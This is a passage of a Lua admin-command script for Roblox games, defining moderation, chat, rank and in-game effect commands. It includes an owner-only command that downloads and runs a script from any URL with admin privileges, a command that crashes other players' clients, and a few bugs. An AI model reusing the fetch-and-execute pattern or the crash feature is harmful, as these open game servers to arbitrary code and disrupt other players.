5685 table.insert(PreAdd, {Data[1], Data[2], Error})
5686 end
5687 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "IRC Chat on channel "..Settings.IRCChannel, 146027317, PreAdd)
5688 IRC.MessageAdded.Event:connect(function(UserName, Message, Error)
5689 if Rank ~= "Owner" then Error = nil end
5690 AddMessage:Invoke(UserName, Message, Error)
5691 end)
5692 SendPressed.Event:connect(function(Text)
5693 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Player.Name..": "..Text)
5694 IRC:AddChat(Player.Name, Text)
5695 end)
5696 end
5697 end};
5698
5699 [{"prichat", "privatechat", "pchat"}] = {"player", "Allows player to join the server's private chat", 1, "Admin", false, function(Speaker, Rank, Arguments)
5700 local Players = STRING:Scan(Arguments[1], Speaker)
5701 for _,Player in pairs(Players) do
5702 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "Private chat", "Lock", PriChat.Chats, function(Type)
5703 if Type == "Leave" then
5704 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has left the chat")
5705 elseif Type == "Join" then
5706 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has joined the chat")
5707 end
5708 end)
5709 PriChat.Chatted.Event:connect(function(UserName, Message)
5710 AddMessage:Invoke(UserName, Message)
5711 end)
5712 SendPressed.Event:connect(function(Text)
5713 PriChat.Chatted:Fire(Player.Name, Text)
5714 table.insert(PriChat.Chats, {Player.Name, Text})
5715 end)
5716 end
5717 end};
5718
5719 [{"script", "exe"}] = {"string", "Will execute a script with global admin variables", 1, "Owner", false, function(Speaker, Rank, Arguments)
5720 ExecuteSafe(Arguments[1], Speaker)
5721 end};
5722
5723 [{"exehttp", "httpexe", "remoteexe", "plugin", "pluginhttp", "httpplugin", "remoteplugin"}] = {"string(URL)", "Will execute a script with global admin variables from the link", 1, "Owner", false, function(Speaker, Rank, Arguments)
5724 local Script = REMOTE:GetURL(Arguments[1], Player)
5725 if Script then
5726 ExecuteSafe(Script, Speaker)
5727 end
5728 end, Http = true};
5729
5730 [{"ping", "url", "link", "http"}] = {"string(URL)", "Pings string which is a URL", 1, "Member", false, function(Speaker, Rank, Arguments)
5731 local Time = tick()
5732 local Res = REMOTE:GetURL(Arguments[1], Player)
5733 if Res then
5734 GUI:SendMessage(Speaker, "Ping complete", "Response to: "..Arguments[1].." was complete in "..string.sub(tostring(tick() - Time),1,5).." seconds. Response: "..string.char(13, 10)..Res, "Check")
5735 end
5736 end, Http = true};
5737
5738 [{"removeadmin", "ra"}] = {"", "Removes admin permanently", 0, "Owner", false, function(Speaker, Rank, Arguments)
5739 CORE:RemoveAdmin(Speaker)
5740 end};
5741
5742 [{"h", "hint"}] = {"hint string", "Gives everyone in the server a hint string", 1, "Member", false, function(Speaker, Rank, Arguments)
5743 for _,Player in pairs(Server.Players:GetPlayers()) do
5744 GUI:SendHint(Player, Arguments[1], nil, Speaker)
5745 end
5746 end};
5747
5748 [{"murica", "merica", "america"}] = {"murica player", "You'll have to find out yourself", 1, "Admin", false, function(Speaker, Rank, Arguments)
5749 local Players = STRING:Scan(Arguments[1], Speaker)
5750 local Debt = nil
5751 for _,Player in pairs(Players) do
5752 if not Debt then
5753 Debt = GUI:ShowDebtStats(Player)
5754 else
5755 GUI:ShowDebtStats(Player, Debt)
5756 end
5757 end
5758 end, Http = true};
5759
5760 [{"hud", "target", "profiler"}] = {"player", "Opens a gui HUD that allows player to see player data", 1, "Owner", false, function(Speaker, Rank, Arguments)
5761 local Players = STRING:Scan(Arguments[1], Speaker)
5762 for _,Player in pairs(Players) do
5763 GUI:CreateHUD(Player)
5764 end
5765 end};
5766
5767 [{"nohud", "notarget", "noprofiler", "unhud", "untarget", "unprofiler"}] = {"player", "Removes HUD Gui if it's on the player", 1, "Owner", false, function(Speaker, Rank, Arguments)
5768 local Players = STRING:Scan(Arguments[1], Speaker)
5769 for _,Player in pairs(Players) do
5770 if Player:FindFirstChild("PlayerGui") then
5771 local HUD = Player.PlayerGui:FindFirstChild("Ma".."ke".."r".."m".."odelLu".."a's HUD Gui")
5772 if HUD then HUD:Destroy() end
5773 end
5774 end
5775 end};
5776
5777 [{"vote", "poll"}] = {"player string", "Gives player 30 seconds to answer yes or no to the question string", 2, "Member", false, function(Speaker, Rank, Arguments)
5778 local Players = STRING:Scan(Arguments[1], Speaker)
5779 GUI:Vote(Speaker, Players, Arguments[2], 30)
5780 end};
5781
5782 [{"bomb", "terrorist", "suicide"}] = {"player", "Puts an explosive IED device on player", 1, "Admin", true, function(Speaker, Rank, Arguments)
5783 local Players = STRING:Scan(Arguments[1], Speaker)
5784 for _,Player in pairs(Players) do
5785 CORE:ExecuteResource("Bomb", Player.Character)
5786 end
5787 end};
5788
5789 [{"debug", "d", "regen"}] = {"player", "Respawns player wherever they are at and fixes camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5790 local Players = STRING:Scan(Arguments[1], Speaker)
5791 for _,Player in pairs(Players) do
5792 CORE:ChangeCharacter(Player, Player.UserId, false, Speaker)
5793 CORE:RestoreCamera(Player)
5794 end
5795 end};
5796
5797 [{"debugme", "dm", "regenme"}] = {"player", "Respawns speaker wherever they are at and fixes camera", 0, "Member", false, function(Speaker, Rank, Arguments)
5798 CORE:ChangeCharacter(Speaker, Speaker.UserId, false, Speaker)
5799 CORE:RestoreCamera(Speaker)
5800 end};
5801
5802 [{"tp", "teleport", "tele"}] = {"player1 player2", "Teleports player 1 to player 2", 2, "Member", false, function(Speaker, Rank, Arguments)
5803 local Players1 = STRING:Scan(Arguments[1], Speaker)
5804 local Players2 = STRING:Scan(Arguments[2], Speaker)
5805 for _,Player1 in pairs(Players1) do
5806 if Player1.Character and Player1.Character:FindFirstChild("Torso") then
5807 for _,Player2 in pairs(Players2) do
5808 if Player2.Character and Player2.Character:FindFirstChild("Torso") then
5809 Player1.Character:MoveTo(Player2.Character.Torso.Position)
5810 end
5811 end
5812 end
5813 end
5814 end};
5815
5816 [{"respawn", "resp", "res"}] = {"player", "Respawns player", 1, "Member", false, function(Speaker, Rank, Arguments)
5817 local Players = STRING:Scan(Arguments[1], Speaker)
5818 for _,Player in pairs(Players) do
5819 Player:LoadCharacter()
5820 end
5821 end};
5822
5823 [{"fixcam", "fixcamera"}] = {"player", "Fixes player's camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5824 local Players = STRING:Scan(Arguments[1], Speaker)
5825 for _,Player in pairs(Players) do
5826 CORE:RestoreCamera(Player)
5827 end
5828 end};
5829
5830 [{"jail"}] = {"player", "Puts player in a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5831 local Players = STRING:Scan(Arguments[1], Speaker)
5832 for _,Player in pairs(Players) do
5833 CORE:Jail(Player)
5834 end
5835 end};
5836
5837 [{"nojail", "unjail"}] = {"player", "Takes player out of a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5838 local Players = STRING:Scan(Arguments[1], Speaker)
5839 for _,Player in pairs(Players) do
5840 CORE:UnJail(Player)
5841 end
5842 end};
5843
5844 [{"say", "speak", "charles", "talk"}] = {"string", "Will have Charles 2.0 say the text string", 1, "Member", false, function(Speaker, Rank, Arguments)
5845 SOUND:SayConvertedText(SOUND:ConvertText(Arguments[1]))
5846 end};
5847
5848 [{"nosay", "nospeak", "nocharles", "notalk", "unsay", "unspeak", "uncharles", "stoptalking", "stopspeak", "stopcharles", "stopsay", "shush", "shutup"}] = {"", "Stops Charles 2.0 talking", 0, "Member", false, function(Speaker, Rank, Arguments)
5849 SOUND:StopSpeaking()
5850 end};
5851
5852 [{"info", "information"}] = {"player", "Show's player's info", 1, "Member", false, function(Speaker, Rank, Arguments)
5853 local Players = STRING:Scan(Arguments[1], Speaker)
5854 local Compile = {}
5855 for Num,Player in pairs(Players) do
5856 local PlayerRank = RANK:GetRank(Player)
5857 local PlayerInfo = ClientInfo[Player.Name]
5858 table.insert(Compile, {"Name: "..Player.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Player.Name})
5859 table.insert(Compile, "User ID: "..Player.UserId)
5860 table.insert(Compile, "Age: "..STRING:FindAge(Player.AccountAge))
5861 table.insert(Compile, "Rank: "..PlayerRank)
5862
5863 if PlayerInfo.Accelerometer ~= nil then table.insert(Compile, "Has Accelerometer: "..STRING:BoolString(PlayerInfo.Accelerometer)) end
5864 if PlayerInfo.Gyroscope ~= nil then table.insert(Compile, "Has Gyroscope: "..STRING:BoolString(PlayerInfo.Gyroscope)) end
5865 if PlayerInfo.Gamepad ~= nil then table.insert(Compile, "Has Gamepad: "..STRING:BoolString(PlayerInfo.Gamepad)) end
5866 if PlayerInfo.Mouse ~= nil then table.insert(Compile, "Has Mouse: "..STRING:BoolString(PlayerInfo.Mouse)) end
5867 if PlayerInfo.Keyboard ~= nil then table.insert(Compile, "Has Keyboard: "..STRING:BoolString(PlayerInfo.Keyboard)) end
5868 if PlayerInfo.TouchScreen ~= nil then table.insert(Compile, "Has TouchScreen: "..STRING:BoolString(PlayerInfo.TouchScreen)) end
5869 if PlayerInfo.Benchmark then
5870 table.insert(Compile, "BLUE BENCHMARK: "..PlayerInfo.Benchmark)
5871 end
5872 if Num ~= #Players then table.insert(Compile, "-----------------------------") end
5873 end
5874 GUI:ListGui(Speaker, "Information on "..#Players.." player(s)", Compile, "Information", false, false)
5875 end};
5876
5877 [{"loopkill", "lkill", "loopk"}] = {"player num", "Kills player num times", 2, "Admin", false, function(Speaker, Rank, Arguments)
5878 if tonumber(Arguments[2]) then
5879 local Players = STRING:Scan(Arguments[1], Speaker)
5880 for _,Player in pairs(Players) do
5881 coroutine.wrap(function()
5882 if Player.Character then
5883 table.insert(LoopKills, Player.Name)
5884 local Loop = nil
5885 local PrevChar = nil
5886
5887 for i = 1,tonumber(Arguments[2]) do
5888 local Char = Player.Character
5889 if PrevChar and PrevChar ~= Char then
5890 PrevChar:Destroy()
5891 end
5892 PrevChar = Char
5893 local CanDie = true
5894 for _,Name in pairs(LoopKills) do if Name == Player.Name then CanDie = true end end
5895 if CanDie == false then
5896 break
5897 end
5898 ypcall(function() Char.Parent = Server.Lighting end)
5899 wait(0.1)
5900 ypcall(function() Char.Parent = Server.Workspace end)
5901 wait(0.1)
5902 end
5903 end
5904 end)()
5905 end
5906 else
5907 GUI:SendMessage(Speaker, "Cannot execute", "RED Argument 2 is not a valid number", "Error")
5908 end
5909 end};
5910
5911 [{"noloopkill", "nolkill", "noloopk", "unloopkill", "unlkill", "unloopk"}] = {"player num", "Stops any loop kills on a player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5912 local Players = STRING:Scan(Arguments[1], Speaker)
5913 for _,Player in pairs(Players) do
5914 for Num,Name in pairs(LoopKills) do
5915 if Player.Name == Name then
5916 table.remove(LoopKills, Num)
5917 end
5918 end
5919 end
5920 end};
5921
5922 [{"sound", "audio", "music"}] = {"num/string", "Plays the sound ID or string from the soundlist", 1, "Member", false, function(Speaker, Rank, Arguments)
5923 SOUND:PlayGlobalSound(Arguments[1])
5924 end};
5925
5926 [{"nosound", "noaudio", "nomusic", "stopsound", "stopaudio", "stopmusic"}] = {"", "Removes the current sound playing", 0, "Member", false, function(Speaker, Rank, Arguments)
5927 SOUND:StopGlobalSound()
5928 SOUND:ClearInfo()
5929 end};
5930
5931 [{"pitch"}] = {"num", "Sets the pitch of the current sound to num", 1, "Member", false, function(Speaker, Rank, Arguments)
5932 local Pitch = tonumber(Arguments[1])
5933 if not Pitch then Pitch = 1 end
5934 if Sound then
5935 Sound.Pitch = Pitch
5936 end
5937 end};
5938
5939 [{"search", "searchsound", "searchsounds", "searchaudio", "searchmusic", "ss"}] = {"string", "Searches the catalog for the sound string", 1, "Member", false, function(Speaker, Rank, Arguments)
5940 local CloseGui, AddInfo = GUI:LoadGui(Speaker, "Searching for: "..Arguments[1])
5941 local Items = MARKET:SearchItem(9, Arguments[1])
5942 if Items then
5943 if #Items ~= 0 then
5944 local List,Correlate = {},{}
5945 for Num,Info in pairs(Items) do
5946 local Display = " "..Info.Name.." by: "..Info.Creator.." ("..Info.AssetId..")"
5947 table.insert(List, Display)
5948 Correlate[Display] = Info.AssetId
5949 end
5950 CloseGui:Invoke()
5951
5952 local CanClick = true
5953 if Rank == "Member" then CanClick = false end
5954 local Clicked = GUI:ListGui(Speaker, "Search Results: "..Arguments[1], List, "Search", CanClick)
5955 Clicked.Event:connect(function(ClickName)
5956 local OldSoundId = nil
5957 SOUND:StopGlobalSound()
5958 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
5959 SOUND:PlayGlobalSound(Correlate[ClickName])
5960 end
5961 end)
5962 else
5963 CloseGui:Invoke()
5964 GUI:SendMessage(Speaker, "No results", "BLUE No results for "..Arguments[1].." found...", "Information")
5965 end
5966 else
5967 CloseGui:Invoke()
5968 GUI:SendMessage(Speaker, "Cannot get audio", "RED Cannot get audio. Is HttpService enabled?", "Error")
5969 end
5970 end, Http = true};
5971
5972 [{"gun"}] = {"player", "Gives player a gun", 1, "Member", false, function(Speaker, Rank, Arguments)
5973 local Players = STRING:Scan(Arguments[1], Speaker)
5974 for _,Player in pairs(Players) do
5975 if Player.Character then
5976 CORE:ExecuteResource("Gun", Player.Character)
5977 end
5978 end
5979 end};
5980
5981 [{"sink", "pothole", "quicksand"}] = {"player", "Sinks the player", 1, "Member", true, function(Speaker, Rank, Arguments)
5982 local Players = STRING:Scan(Arguments[1], Speaker)
5983 for _,Player in pairs(Players) do
5984 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
5985 local Hole = Instance.new("Part", Player.Character) Hole.Name = "Hole" Hole.BrickColor = BrickColor.new("Really black") Hole.Size = Vector3.new(5,1.2,5) Hole.Anchored = true Hole.CanCollide = fals Hole.Locked = true Hole.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0) * CFrame.Angles(0,0,0) Instance.new("CylinderMesh", Hole)
5986 Player.Character.Humanoid.WalkSpeed = 0
5987 Player.Character.Torso.Anchored = true
5988 coroutine.wrap(function()
5989 local OldCFrame = Player.Character.Torso.CFrame
5990 for i = 0,8,0.1 do
5991 Player.Character.Torso.CFrame = OldCFrame * CFrame.new(0,-i,0)
5992 wait()
5993 end
5994 Player.Character.Torso.Anchored = false
5995 Player.Character:BreakJoints()
5996 CORE:InvisiblePlayer(Player)
5997 end)()
5998 end
5999 end
6000 end};
6001
6002 [{"freeze", "anchor"}] = {"player", "Freezes player in place", 1, "Member", false, function(Speaker, Rank, Arguments)
6003 local Players = STRING:Scan(Arguments[1], Speaker)
6004 for _,Player in pairs(Players) do
6005 CORE:AnchorPlayer(Player)
6006 end
6007 end};
6008
6009 [{"nofreeze", "unfreeze", "noanchor", "unanchor", "thaw"}] = {"player", "Unfreezes player", 1, "Member", false, function(Speaker, Rank, Arguments)
6010 local Players = STRING:Scan(Arguments[1], Speaker)
6011 for _,Player in pairs(Players) do
6012 CORE:UnanchorPlayer(Player)
6013 end
6014 end};
6015
6016 [{"invisible", "invis"}] = {"player", "Makes player invisible", 1, "Member", false, function(Speaker, Rank, Arguments)
6017 local Players = STRING:Scan(Arguments[1], Speaker)
6018 for _,Player in pairs(Players) do
6019 CORE:InvisiblePlayer(Player)
6020 end
6021 end};
6022
6023 [{"visible", "vis"}] = {"player", "Makes player visible", 1, "Member", false, function(Speaker, Rank, Arguments)
6024 local Players = STRING:Scan(Arguments[1], Speaker)
6025 for _,Player in pairs(Players) do
6026 CORE:VisiblePlayer(Player)
6027 end
6028 end};
6029
6030 [{"asteroid", "comet", "meteor", "meteorite"}] = {"player", "Shoots an asteroid at player", 1, "Member", true, function(Speaker, Rank, Arguments)
6031 local Players = STRING:Scan(Arguments[1], Speaker)
6032 for _,Player in pairs(Players) do
6033 if Player.Character and Player.Character:FindFirstChild("Torso") then
6034 local Ast = Instance.new("Part", Server.Workspace) Ast.Name = "Asteroid" Ast.Position = Player.Character.Torso.Position + Vector3.new(0,500,0) Ast.Size = Vector3.new(12,12,12)
6035 local Mesh = Instance.new("SpecialMesh", Ast) Mesh.MeshId = "rbxassetid://1290033" Mesh.Scale = Vector3.new(6.2,6.2,6.2) Mesh.TextureId = "rbxassetid://1290030"
6036 local Fire = Instance.new("Fire", Ast) Fire.Heat = 25 Fire.Size = 30
6037 local Smoke = Instance.new("Smoke", Ast) Smoke.RiseVelocity = 10 Smoke.Size = 10
6038 local BoomSound = SOUND:MakeSound(Ast, 188590169, 1, 1)
6039 local Fly = SOUND:MakeSound(Ast, 179438534, 1, 1, true)
6040 Fly:Play()
6041 local Touched = false
6042 coroutine.wrap(function()
6043 repeat wait(0.1)
6044 Ast.Position = Vector3.new(Player.Character.Torso.Position.X, Ast.Position.Y, Player.Character.Torso.Position.Z)
6045 until not Ast or Ast.Parent == nil or Touched == true
6046 end)()
6047 Ast.Touched:connect(function(Part)
6048 if Touched == false then
6049 Touched = true
6050 Part:BreakJoints()
6051 local Boom = Instance.new("Explosion", Workspace)
6052 Boom.Position = Ast.Position
6053 Boom.BlastPressure = 1000000
6054 Boom.BlastRadius = 30
6055 Fire.Heat = 0
6056 Smoke.RiseVelocity = 0
6057 Fly:Stop()
6058 BoomSound:Play()
6059 coroutine.wrap(function()
6060 wait(3)
6061 BoomSound:Stop()
6062 if Ast and Ast.Parent ~= nil then
6063 Ast:Destroy()
6064 end
6065 end)()
6066 end
6067 end)
6068 end
6069 end
6070 end};
6071
6072 [{"kick"}] = {"player", "Will kick player out of the server", 1, "Admin", false, function(Speaker, Rank, Arguments)
6073 local Success = {}
6074 local Players = STRING:Scan(Arguments[1], Speaker)
6075 for _,Player in pairs(Players) do
6076 local PlayerRank = RANK:GetRank(Player)
6077 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
6078 CORE:Kick(Player)
6079 table.insert(Success, Player)
6080 end
6081 end
6082 REMOTE:SendHttpLog(Speaker.Name.." kicked "..CORE:UnpackPlayers(Success), "INFORMATION")
6083 end};
6084
6085 [{"ban"}] = {"player", "Will ban player and will be unable to join", 1, "Admin", false, function(Speaker, Rank, Arguments)
6086 local Success = {}
6087 local Players = STRING:Scan(Arguments[1], Speaker)
6088 for _,Player in pairs(Players) do
6089 local PlayerRank = RANK:GetRank(Player)
6090 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
6091 RANK:RemoveRank(Player)
6092 table.insert(Settings.Ranks.Banned, Player.Name)
6093 CORE:Kick(Player)
6094 table.insert(Success, Player)
6095 end
6096 end
6097 REMOTE:SendHttpLog(Speaker.Name.." banned "..CORE:UnpackPlayers(Success), "WARNING")
6098 end};
6099
6100 [{"crash"}] = {"player", "Will crash player with a painful BSOD", 1, "Owner", false, function(Speaker, Rank, Arguments)
6101 local Success = {}
6102 local Players = STRING:Scan(Arguments[1], Speaker)
6103 for _,Player in pairs(Players) do
6104 local PlayerRank = RANK:GetRank(Player)
6105 if PlayerRank ~= "Owner" then
6106 RANK:RemoveRank(Player)
6107 table.insert(Settings.Ranks.Crashed, Player.Name)
6108 CORE:Crash(Player)
6109 table.insert(Success, Player)
6110 end
6111 end
6112 REMOTE:SendHttpLog(Speaker.Name.." crashed "..CORE:UnpackPlayers(Success), "INFORMATION")
6113 end};
6114
6115 [{"mute"}] = {"player", "Makes player unable to talk", 1, "Owner", false, function(Speaker, Rank, Arguments)
6116 local Success = {}
6117 local Players = STRING:Scan(Arguments[1], Speaker)
6118 for _,Player in pairs(Players) do
6119 local PlayerRank = RANK:GetRank(Player)
6120 if PlayerRank ~= "Owner" then
6121 RANK:RemoveRank(Player)
6122 table.insert(Settings.Ranks.Muted, Player.Name)
6123 GUI:CoreGui(Player, "Chat", false)
6124 table.insert(Success, Player)
6125 end
6126 end
6127 REMOTE:SendHttpLog(Speaker.Name.." has muted "..CORE:UnpackPlayers(Success), "INFORMATION")
6128 end};
6129
6130 [{"noadmin", "unadmin", "nomember", "unmember", "nomem", "unmem", "noowner", "unowner", "noown", "unown", "nocrash", "uncrash", "noban", "unban", "nomute", "unmute", "derank"}] = {"player", "Removes whatever rank player has(if your rank is sufficient enough to override player's)", 1, "Admin", false, function(Speaker, Rank, Arguments)
6131 local Players = STRING:Scan(Arguments[1], Speaker)
6132 if #Players > 0 then
6133 local Success = {}
6134 for _,Player in pairs(Players) do
6135 local RankName,RankNum = RANK:GetRank(Player)
6136 if RankNum < RANK:ConvertRank(Rank) or RANK:IsSupremeOwner(Speaker) then
6137 if not RANK:IsSupremeOwner(Player) then
6138 if RankName == "Muted" then
6139 GUI:CoreGui(Player, "Chat", true)
6140 end
6141 if RankNum > 0 then
6142 GUI:TellNotAdmin(Player)
6143 end
6144 RANK:RemoveRank(Player)
6145 table.insert(Success, Player)
6146 end
6147 end
6148 end
6149 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..CORE:UnpackPlayers(Players), "INFORMATION")
6150 else
6151 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6152 if Player then
6153 local RankNum = RANK:ConvertRank(PlayerRank)
6154 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6155 if not RANK:IsSupremeOwner(Player) then
6156 RANK:RemoveRank(Player)
6157 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..Player, "INFORMATION")
6158 end
6159 end
6160 end
6161 end
6162 end};
6163
6164 [{"member", "mem"}] = {"player", "Adds player to the member list", 1, "Admin", false, function(Speaker, Rank, Arguments)
6165 local Players = STRING:Scan(Arguments[1], Speaker)
6166 if #Players > 0 then
6167 local Success = {}
6168 for _,Player in pairs(Players) do
6169 local PlayerRank,RankNum = RANK:GetRank(Player)
6170 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6171 RANK:RemoveRank(Player)
6172 table.insert(Settings.Ranks.Member, Player.Name)
6173 GUI:TellAdmin(Player)
6174 table.insert(Success, Player)
6175 end
6176 end
6177 REMOTE:SendHttpLog(Speaker.Name.." has membered "..CORE:UnpackPlayers(Success), "INFORMATION")
6178 else
6179 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6180 if Player then
6181 local RankNum = RANK:ConvertRank(PlayerRank)
6182 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6183 if not RANK:IsSupremeOwner(Player) then
6184 RANK:RemoveRank(Player)
6185 table.insert(Settings.Ranks.Member, Player)
6186 end
6187 end
6188 else
6189 RANK:RemoveRank(Arguments[1])
6190 table.insert(Settings.Ranks.Member, Arguments[1])
6191 end
6192 end
6193 end};
6194
6195 [{"admin", "adm"}] = {"player", "Adds player to the admin list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6196 local Players = STRING:Scan(Arguments[1], Speaker)
6197 if #Players > 0 then
6198 local Success = {}
6199 for _,Player in pairs(Players) do
6200 local PlayerRank,RankNum = RANK:GetRank(Player)
6201 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6202 RANK:RemoveRank(Player)
6203 table.insert(Settings.Ranks.Admin, Player.Name)
6204 GUI:TellAdmin(Player)
6205 table.insert(Success, Player)
6206 end
6207 end
6208 REMOTE:SendHttpLog(Speaker.Name.." has admined "..CORE:UnpackPlayers(Success), "INFORMATION")
6209 else
6210 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6211 if Player then
6212 local RankNum = RANK:ConvertRank(PlayerRank)
6213 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6214 if not RANK:IsSupremeOwner(Player) then
6215 RANK:RemoveRank(Player)
6216 table.insert(Settings.Ranks.Admin, Player)
6217 end
6218 end
6219 else
6220 RANK:RemoveRank(Arguments[1])
6221 table.insert(Settings.Ranks.Admin, Arguments[1])
6222 end
6223 end
6224 end};
6225
6226 [{"owner", "own"}] = {"player", "Adds player to the owner list(Speaker must be game owner)", 1, "Owner", false, function(Speaker, Rank, Arguments)
6227 local Players = STRING:Scan(Arguments[1], Speaker)
6228 if RANK:IsSupremeOwner(Speaker) then
6229 if #Players > 0 then
6230 local Success = {}
6231 for _,Player in pairs(Players) do
6232 if not RANK:IsSupremeOwner(Player) then
6233 RANK:RemoveRank(Player)
6234 table.insert(Settings.Ranks.Owner, Player.Name)
6235 GUI:TellAdmin(Player)
6236 table.insert(Success, Player)
6237 end
6238 end
6239 REMOTE:SendHttpLog(Speaker.Name.." has ownered "..CORE:UnpackPlayers(Success), "INFORMATION")
6240 else
6241 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6242 if Player then
6243 local RankNum = RANK:ConvertRank(PlayerRank)
6244 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6245 if not RANK:IsSupremeOwner(Player) then
6246 RANK:RemoveRank(Player)
6247 table.insert(Settings.Ranks.Owner, Player)
6248 end
6249 end
6250 else
6251 RANK:RemoveRank(Arguments[1])
6252 table.insert(Settings.Ranks.Owner, Arguments[1])
6253 end
6254 end
6255 end
6256 end};
6257
6258 [{"admins", "adminlist"}] = {"", "Lists all admins in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6259 local TableStorage = {}
6260 for _,Obj in pairs(Settings.Ranks.Member) do table.insert(TableStorage, Obj..": Member") end
6261 for _,Obj in pairs(Settings.Ranks.Admin) do table.insert(TableStorage, Obj..": Admin") end
6262 for _,Obj in pairs(Settings.Ranks.Owner) do table.insert(TableStorage, "BOLD: "..Obj..": Owner") end
6263 GUI:ListGui(Speaker, "Admin List", TableStorage, 45961462)
6264 end};
6265
6266 [{"serveradmins", "sa"}] = {"", "Lists all admins in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
6267 local TableStorage = {}
6268 for _,Player in pairs(Server.Players:GetChildren()) do
6269 local ValidAdmin,PlayerRank = RANK:IsAdmin(Player)
6270 if ValidAdmin then
6271 if PlayerRank == "Owner" then
6272 table.insert(TableStorage, "BOLD: "..Player.Name..": Owner")
6273 else
6274 table.insert(TableStorage, Player.Name..": "..PlayerRank)
6275 end
6276 end
6277 end
6278 GUI:ListGui(Speaker, "Server admin List", TableStorage, 76198987)
6279 end};
6280
6281 [{"bans", "banlist"}] = {"", "Lists all players who've been banned", 0, "Member", false, function(Speaker, Rank, Arguments)
6282 GUI:ListGui(Speaker, "Ban List", Settings.Ranks.Banned, 163337795)
6283 end};
6284
6285 [{"crashes", "crashlist"}] = {"", "Lists all players who've been crashed", 0, "Member", false, function(Speaker, Rank, Arguments)
6286 GUI:ListGui(Speaker, "Crash List", Settings.Ranks.Crashed, 35480917)
6287 end};
6288
6289 [{"mutes", "muted", "mutelist"}] = {"", "Lists all players who've been muted", 0, "Member", false, function(Speaker, Rank, Arguments)
6290 GUI:ListGui(Speaker, "Mute List", Settings.Ranks.Muted, 202000870)
6291 end};
6292
6293 [{"exiles", "exilelist"}] = {"", "Lists all the exiled players(banned, crashed, muted) in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6294 local TableStorage = {}
6295 for _,Obj in pairs(Settings.Ranks.Banned) do table.insert(TableStorage, Obj..": Banned") end
6296 for _,Obj in pairs(Settings.Ranks.Crashed) do table.insert(TableStorage, Obj..": Crashed") end
6297 for _,Obj in pairs(Settings.Ranks.Muted) do table.insert(TableStorage, Obj..": Muted") end
6298 GUI:ListGui(Speaker, "Exile List", TableStorage, 132769258)
6299 end};
6300
6301 [{"ranked", "ranks", "ranklist"}] = {"", "Lists all the players ranked in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6302 local TableStorage = {}
6303 for PlayerRank,PlayerNames in pairs(Settings.Ranks) do
6304 for Num,PlayerName in pairs(PlayerNames) do
6305 if PlayerRank == "Owner" then
6306 table.insert(TableStorage, "BOLD: "..PlayerName..": Owner")
6307 else
6308 table.insert(TableStorage, PlayerName..": "..PlayerRank)
6309 end
6310 end
6311 end
6312 GUI:ListGui(Speaker, "Rank List", TableStorage, 21341765)
6313 end};
6314
6315 [{"logs", "commandlogs", "cmdlogs"}] = {"", "Lists all the logs of executed commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6316 GUI:ListGui(Speaker, "Command Logs", CORE:ReverseTable(CommandLogs), "Log")
6317 end};
6318
6319 [{"chatlogs"}] = {"", "Lists all the logs of players who've chatted", 0, "Admin", false, function(Speaker, Rank, Arguments)
6320 GUI:ListGui(Speaker, "Chat Logs", CORE:ReverseTable(ChatLogs), "Log")
6321 end};
6322
6323 [{"irclogs"}] = {"", "Lists all the logs of irc output", 0, "Admin", false, function(Speaker, Rank, Arguments)
6324 GUI:ListGui(Speaker, "IRC Logs", CORE:ReverseTable(IRC.Logs), "Log")
6325 end};
6326
6327 [{"exploitlogs"}] = {"", "Lists all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6328 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
6329 if type(ExploitLog) ~= "table" then ExploitLog = {} end
6330 GUI:ListGui(Speaker, "Exploit Logs", ExploitLog, "Log")
6331 end};
6332
6333 [{"clearlogs", "clearcommandlogs", "clearcmdlogs"}] = {"", "Clears all the logs of executed commands", 0, "Owner", false, function(Speaker, Rank, Arguments)
6334 CommandLogs = {}
6335 end};
6336
6337 [{"clearchatlogs"}] = {"", "Clears all the logs of players who've chatted", 0, "Owner", false, function(Speaker, Rank, Arguments)
6338 ChatLogs = {}
6339 end};
6340
6341 [{"clearirclogs"}] = {"", "Clears all the logs of irc output", 0, "Owner", false, function(Speaker, Rank, Arguments)
6342 IRC.Logs = {}
6343 end};
6344
6345 [{"clearalllogs", "resetlogs"}] = {"", "Clears ALL logs (Command, Chat, IRC) but not exploit logs", 0, "Owner", false, function(Speaker, Rank, Arguments)
